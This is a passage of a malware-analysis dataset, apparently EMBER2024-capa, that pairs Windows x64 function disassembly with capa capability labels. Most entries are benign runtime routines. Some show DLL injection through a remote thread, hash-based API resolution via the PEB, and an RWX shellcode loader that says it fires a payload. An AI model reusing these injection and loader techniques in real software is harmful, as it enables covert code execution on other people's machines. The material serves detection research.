joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14016ccb0
Capabilities:
Create pipe

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0xd0]
xorps xmm4, xmm4
movups xmmword [rbp - 0x68], xmm4
xor eax, eax
mov qword [rbp - 0x58], rax
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rsi, r8
mov edi, r9d
xor edx, edx
mov dword [rbp - 0x3c], edx
mov qword [rbp - 0x48], rdx
mov qword [rbp - 0x50], rdx
lea rcx, [0x14022f960]
call fcn.140004160
mov rbx, rax
mov rcx, rbx
call fcn.1400abbf0
mov qword [rbp - 0x60], rbx
lea rcx, [0x14022f960]
call fcn.140004160
mov r14, rax
mov rcx, r14
call fcn.1400abbf0
mov qword [rbp - 0x68], r14
mov qword [rbp - 0x58], rsi
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
lea rcx, [rbp - 0x48]
mov qword [rbp - 0x74], rcx
lea rdx, [rbp - 0x50]
mov qword [rbp - 0x7c], rdx
mov r8, rsi
mov qword [rbp - 0x84], r8
mov r9d, edi
mov dword [rbp - 0x6c], r9d
lea rcx, [rbp - 0xb0]
call fcn.140004590
mov rcx, qword [rbp - 0x74]
mov rdx, qword [rbp - 0x7c]
mov r8, qword [rbp - 0x84]
mov r9d, dword [rbp - 0x6c]
call sub.KERNEL32.dll_CreatePipe
mov esi, eax
lea rcx, [rbp - 0xb0]
call fcn.1400045e0
call sub.KERNEL32.dll_GetLastError
mov edi, eax
xor edx, edx
mov qword [rbp - 0x58], rdx
mov dword [rbp - 0x3c], 1
test esi, esi
setne sil
movzx esi, sil
mov rbx, qword [rbp - 0x50]
mov r14, qword [rbp - 0x68]
mov qword [r14 + 8], rbx
mov rcx, qword [rbp + 0x18]
mov rdx, r14
call fcn.140004460
mov r15, qword [rbp - 0x48]
mov rbx, qword [rbp - 0x60]
mov qword [rbx + 8], r15
mov rcx, qword [rbp + 0x10]
mov rdx, rbx
call fcn.140004460
call fcn.140002f8b
mov dword [rax + 8], edi
movzx eax, sil
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x140173860
Capabilities:
Enumerate process modules

Disassembly:
push rsi
sub rsp, 0x20
mov rsi, rcx
call fcn.1400014cf
mov rcx, rsi
call fcn.1401733c0
test eax, eax
jne 0x140173883
add rsp, 0x20
pop rsi
jmp fcn.140174c20
mov rcx, rsi
mov edx, 1
add rsp, 0x20
pop rsi
jmp 0x140174bb0
push rdi
push rsi
sub rsp, 0x28
movzx edx, dl
call fcn.140174d80
mov rsi, rax
mov edi, dword [rsi + 8]
mov edx, edi
lea rcx, [0x140278e28]
call fcn.140004240
xor edx, edx
test edi, edi
jle 0x140174c13
cmp dword [rax + 8], edi
jl 0x140174bf5
mov ecx, edx
mov r8, qword [rsi + rcx*8 + 0x10]
mov r8d, dword [r8 + 0x64]
mov dword [rax + rcx*4 + 0x10], r8d
inc edx
cmp edi, edx
jg 0x140174bdd
jmp 0x140174c13
mov r8d, edx
mov rcx, qword [rsi + r8*8 + 0x10]
mov r8d, dword [rcx + 0x64]
cmp edx, dword [rax + 8]
jae 0x140174c1a
mov ecx, edx
mov dword [rax + rcx*4 + 0x10], r8d
inc edx
cmp edi, edx
jg 0x140174bf5
add rsp, 0x28
pop rsi
pop rdi
ret
call fcn.140159220
int3
Function at 0x140181790
Capabilities:
Create process on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0xf0]
xorps xmm4, xmm4
movaps xmmword [rbp - 0x50], xmm4
xor eax, eax
mov qword [rbp - 0x40], rax
mov rax, qword [rbp + 0x48]
test rcx, rcx
jne 0x1401817c5
xor ecx, ecx
jmp 0x1401817d1
add rcx, 0xc
mov qword [rbp - 0x40], rcx
mov rcx, qword [rbp - 0x40]
test rdx, rdx
jne 0x1401817da
xor edx, edx
jmp 0x1401817e6
add rdx, 0xc
mov qword [rbp - 0x48], rdx
mov rdx, qword [rbp - 0x48]
xor r10d, r10d
cmp byte [rbp + 0x30], 0
setne r10b
test rax, rax
jne 0x1401817fb
xor r11d, r11d
jmp 0x140181807
add rax, 0xc
mov qword [rbp - 0x50], rax
mov r11, qword [rbp - 0x50]
mov dword [rsp + 0x20], r10d
mov eax, dword [rbp + 0x38]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x40]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], r11
mov rax, qword [rbp + 0x50]
mov qword [rsp + 0x40], rax
mov rax, qword [rbp + 0x58]
mov qword [rsp + 0x48], rax
mov qword [rbp - 0x58], rcx
mov qword [rbp - 0x60], rdx
mov qword [rbp - 0x68], r8
mov qword [rbp - 0x70], r9
lea rcx, [rbp - 0x98]
call fcn.140004590
mov rcx, qword [rbp - 0x58]
mov rdx, qword [rbp - 0x60]
mov r8, qword [rbp - 0x68]
mov r9, qword [rbp - 0x70]
call sub.KERNEL32.dll_CreateProcessW
mov esi, eax
lea rcx, [rbp - 0x98]
call fcn.1400045e0
xor eax, eax
test esi, esi
setne al
movzx eax, al
add rsp, 0xb8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x140182f80
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0xf0]
xor eax, eax
mov qword [rbp - 0x58], rax
xorps xmm4, xmm4
movaps xmmword [rbp - 0x50], xmm4
mov qword [rbp - 0x40], rax
mov rax, qword [rbp + 0x30]
mov r10, qword [rbp + 0x40]
mov r11, qword [rbp + 0x50]
test rdx, rdx
je 0x140182fcb
cmp dword [rdx + 8], 0
je 0x140182fcb
add rdx, 0x10
mov qword [rbp - 0x40], rdx
mov rdx, qword [rbp - 0x40]
test rax, rax
je 0x140182fe2
cmp dword [rax + 8], 0
je 0x140182fe2
add rax, 0x10
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x48]
test r10, r10
je 0x140182ffa
cmp dword [r10 + 8], 0
je 0x140182ffa
add r10, 0x10
mov qword [rbp - 0x50], r10
mov r10, qword [rbp - 0x50]
mov qword [rbp - 0x58], r11
mov esi, dword [rbp + 0x38]
mov edi, dword [rbp + 0x48]
mov ebx, dword [rbp + 0x58]
mov dword [rsp + 0x48], ebx
mov qword [rbp - 0x64], rcx
mov qword [rbp - 0x6c], rdx
mov dword [rbp - 0x5c], r8d
mov qword [rbp - 0x74], r9
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x30], r10
mov dword [rsp + 0x38], edi
mov qword [rsp + 0x40], r11
lea rcx, [rbp - 0xa0]
call fcn.140004590
mov rcx, qword [rbp - 0x64]
mov rdx, qword [rbp - 0x6c]
mov r8d, dword [rbp - 0x5c]
mov r9, qword [rbp - 0x74]
call sub.bcrypt.dll_BCryptDecrypt
mov esi, eax
lea rcx, [rbp - 0xa0]
call fcn.1400045e0
mov eax, esi
add rsp, 0xb8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x1401b59c0
Capabilities:
Hash data using murmur3

Disassembly:
xor eax, eax
mov r8d, dword [rdx + 8]
test r8d, r8d
jle 0x1401b59fe
mov r9d, eax
lea r9, [rdx + r9*8 + 0x10]
mov r9, qword [r9]
mov r10, r9
test r10, r10
jne 0x1401b59e3
xor r10d, r10d
jmp 0x1401b59e7
mov r10d, dword [r9 + 0x14]
mov r9d, ecx
rol r9d, 0xd
add r9d, ecx
mov ecx, r9d
xor ecx, r10d
inc eax
cmp r8d, eax
jg 0x1401b59cb
mov eax, ecx
rol eax, 0xf
add eax, ecx
ret

Function at 0x1401b9180
Capabilities:
Hash data using murmur3

Disassembly:
push rdi
push rsi
sub rsp, 0x28
mov esi, ecx
mov edi, edx
call fcn.140001162
mov eax, dword [rax]
add eax, 0x165667b1
add eax, 8
imul edx, esi, 0xc2b2ae3d
add edx, eax
rol edx, 0x11
imul eax, edx, 0x27d4eb2f
imul edx, edi, 0xc2b2ae3d
add edx, eax
rol edx, 0x11
imul eax, edx, 0x27d4eb2f
mov edx, eax
shr edx, 0xf
xor eax, edx
imul eax, eax, 0x85ebca77
mov edx, eax
shr edx, 0xd
xor eax, edx
imul eax, eax, 0xc2b2ae3d
mov edx, eax
shr edx, 0x10
xor eax, edx
add rsp, 0x28
pop rsi
pop rdi
ret

Function at 0x1401baec0
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push rdi
push rsi
push rbp
push rbx
sub rsp, 0x28
mov rsi, r8
mov edi, edx
xor ebx, ebx
mov ebp, dword [rsi + 8]
test ebp, ebp
jle 0x1401baef4
mov ecx, ebx
mov rcx, qword [rsi + rcx*8 + 0x10]
mov rax, qword [rcx]
call qword [rax + 0x28]
mov edx, edi
rol edx, 0xd
add edx, edi
mov edi, eax
xor edi, edx
inc ebx
cmp ebp, ebx
jg 0x1401baed6
mov eax, edi
rol eax, 0xf
add eax, edi
add rsp, 0x28
pop rbx
pop rbp
pop rsi
pop rdi
ret

Function at 0x1401baf10
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push rdi
push rsi
push rbp
push rbx
sub rsp, 0x28
mov rsi, r8
mov edi, edx
xor ebx, ebx
mov ebp, dword [rsi + 8]
test ebp, ebp
jle 0x1401baf44
mov ecx, ebx
mov rcx, qword [rsi + rcx*8 + 0x10]
mov rax, qword [rcx]
call qword [rax + 0x28]
mov edx, edi
rol edx, 0xd
add edx, edi
mov edi, eax
xor edi, edx
inc ebx
cmp ebp, ebx
jg 0x1401baf26
mov eax, edi
rol eax, 0xf
add eax, edi
add rsp, 0x28
pop rbx
pop rbp
pop rsi
pop rdi
ret
Function at 0x1400111e0
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
jmp 0x14001b460
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x40]
lea rcx, [0x140033120]
call fcn.1400118b1
mov r8d, dword [rbp + 0x160]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x14001b5fb
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.LoadLibraryA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x168]
call fcn.1400113a2
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, rax
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x48], rax
mov rcx, qword [rbp + 0x168]
call fcn.1400113a2
mov qword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rbp + 0x168]
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0x48]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x28]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x68], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x168]
call fcn.1400113a2
mov r9d, 0x8000
mov r8, rax
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.ohiohook
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011104
mov qword [rbp + 0x138], rax
lea rdx, [0x140011055]
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.skyze_taskmanager
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011104
mov qword [rbp + 0x138], rax
lea rdx, [0x140011055]
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x14001b5fd
xor eax, eax
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x140004200
Capabilities:
Access peb ldr_data
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rsi, qword [rax + 0x10]
mov r11, qword [rsi + 0x30]
test r11, r11
je 0x14000423e
mov ebx, ecx
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
test edi, edi
jne 0x140004250
mov rsi, qword [rsi]
mov r11, qword [rsi + 0x30]
test r11, r11
jne 0x140004222
pop rbx
mov rax, r11
pop rsi
pop rdi
pop rbp
pop r12
ret
movzx ecx, word [rsi + 0x5a]
test cx, cx
je 0x140004325
mov rax, qword [rsi + 0x60]
lea r10d, [rcx - 1]
xor r9d, r9d
lea rdx, [rax + 1]
add r10, rdx
jmp 0x14000427c
add rdx, 1
movsx eax, byte [rax]
ror r9d, 0xd
mov ecx, eax
lea r8d, [rax + r9 - 0x20]
add eax, r9d
cmp cl, 0x61
mov r9d, r8d
cmovl r9d, eax
mov rax, rdx
cmp r10, rdx
jne 0x140004278
lea r12, [r11 + rdi]
mov ebp, dword [r12 + 0x20]
mov edi, dword [r12 + 0x18]
add rbp, r11
test edi, edi
je 0x140004232
xor r10d, r10d
nop dword [rax + rax]
mov edx, dword [rbp + r10*4]
xor eax, eax
add rdx, r11
nop word [rax + rax]
movsx r8d, byte [rdx]
ror eax, 0xd
add rdx, 1
add eax, r8d
test r8b, r8b
jne 0x1400042d0
add eax, r9d
cmp eax, ebx
je 0x1400042f8
add r10, 1
cmp rdi, r10
jne 0x1400042c0
jmp 0x140004232
mov eax, dword [r12 + 0x24]
lea edx, [r10 + r10]
pop rbx
pop rsi
pop rdi
add rax, r11
pop rbp
movzx eax, word [rax + rdx]
mov edx, dword [r12 + 0x1c]
pop r12
shl eax, 2
cdqe
add rax, r11
mov eax, dword [rax + rdx]
add r11, rax
mov rax, r11
ret
xor r9d, r9d
jmp 0x14000429f
Function at 0x140001730
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x88
call fcn.140001440
mov rcx, qword [rsp + 0x90]
call fcn.14000a8f0
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400017bf
lea rdx, str.Memory_allocation_failed._Error:
lea rcx, [0x140043710]
call fcn.140001c10
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x28], eax
mov edx, dword [rsp + 0x28]
mov rcx, qword [rsp + 0x38]
call fcn.140005880
mov qword [rsp + 0x40], rax
lea rdx, [0x140003c20]
mov rcx, qword [rsp + 0x40]
call fcn.140005ab0
xor al, al
jmp 0x1400018d6
mov rcx, qword [rsp + 0x90]
call fcn.14000a8f0
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x90]
call fcn.1400089e0
mov qword [rsp + 0x50], rax
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x20]
call fcn.14002e720
mov rcx, qword [rsp + 0x90]
call fcn.14000a8f0
lea r9, [rsp + 0x30]
mov r8d, 0x20
mov rdx, rax
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000187e
lea rdx, str.Failed_to_set_memory_as_executable._Error:
lea rcx, [0x140043710]
call fcn.140001c10
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x2c], eax
mov edx, dword [rsp + 0x2c]
mov rcx, qword [rsp + 0x58]
call fcn.140005880
mov qword [rsp + 0x60], rax
lea rdx, [0x140003c20]
mov rcx, qword [rsp + 0x60]
call fcn.140005ab0
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor al, al
jmp 0x1400018d6
lea rdx, str.____Press_any_key_to_fire_payload_
lea rcx, [0x1400435f0]
call fcn.140001c10
mov qword [rsp + 0x68], rax
lea rdx, [0x140003c20]
mov rcx, qword [rsp + 0x68]
call fcn.140005ab0
lea rcx, [0x140043550]
call fcn.140009f30
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x70], rax
call qword [rsp + 0x70]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov al, 1
add rsp, 0x88
ret
Function at 0x14000d02c
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x14000d05a
xor eax, eax
jmp 0x14000d140
cmp qword [rcx + 0x68], 0
je 0x14000d06b
call fcn.14000d15c
jmp 0x14000d140
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14000d082
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000d084
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000d0b6
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.14002e720
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x14000d13a
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x14000d0ed
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x14000d116
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.140019518
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x14000d13a
cmp rsi, rbx
ja 0x14000d0f4
test rsi, rsi
je 0x14000d13a
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.140019518
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x14000e70c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000e756
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000e756
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000e756
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000e756
cmp dword [rcx + 0x84], 0xe
jbe 0x14000e756
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000e758
xor al, al
add rsp, 0x28
ret

Function at 0x14001bab8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001b8b4
Function at 0x140023a2c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.14000dff0
sub rsp, rax
mov rax, qword [0x140042040]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140020510
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140023a7b
mov rax, rbp
jmp 0x140023b83
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x445d0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140024b4c
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x445d0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140023b7f
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140023b7f
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140024b4c
test rax, rax
js 0x140023b7f
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140023b7f
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140023b71
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140023b71
cmp byte [rcx], 0xd
jne 0x140023b57
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140023b66
cmp byte [rcx + 1], 0xa
jne 0x140023b66
inc rcx
jmp 0x140023b66
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x42480]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140023b39
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140023b83
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.14000dae0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x140023da4
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140023dba
mov al, 1
jmp 0x140023e1a
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140023dcb
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140023e18
mov ecx, dword [rcx + 0x18]
nop
call fcn.140027300
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140023e18
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140023e18
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140023e18
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140023e1a
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140023eec
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1400445d0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140023f43
cmp word [rdx], r13w
jne 0x140023f43
or byte [rax + rdi*8 + 0x38], cl
jmp 0x140023f48
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x14002406d
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x14002408e
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140023f81
mov rdx, r9
mov word [rbx], cx
jmp 0x140023fa8
cmp r9, r8
jae 0x140023fb8
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x140023f62
jmp 0x14002406d
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140024062
cmp dword [rsp + 0x80], esi
je 0x140024062
lea r8, [0x1400445d0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14002403a
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14002400a
mov word [rbx], r13w
jmp 0x14002406a
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x140024017
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14002406a
cmp word [rsp + 0x70], r13w
jne 0x140024047
cmp rbx, r14
je 0x140024004
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140024b54
cmp word [rsp + 0x70], r13w
je 0x14002406d
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1400445d0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x140024067
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x14002406d
Function at 0x140026a98
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140026ac8
xor eax, eax
jmp 0x140026b8b
mov rbp, rbx
cmp word [rax], si
je 0x140026aed
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140026ad4
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140026ad0
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140025098
movsxd r14, eax
test eax, eax
jne 0x140026b2b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140026ac1
mov rcx, r14
call fcn.14001f38c
mov rdi, rax
test rax, rax
jne 0x140026b44
xor ecx, ecx
call fcn.14001f104
jmp 0x140026b20
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140025098
test eax, eax
jne 0x140026b75
mov rcx, rdi
call fcn.14001f104
jmp 0x140026b7f
xor ecx, ecx
call fcn.14001f104
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x140029854
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14001df64
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
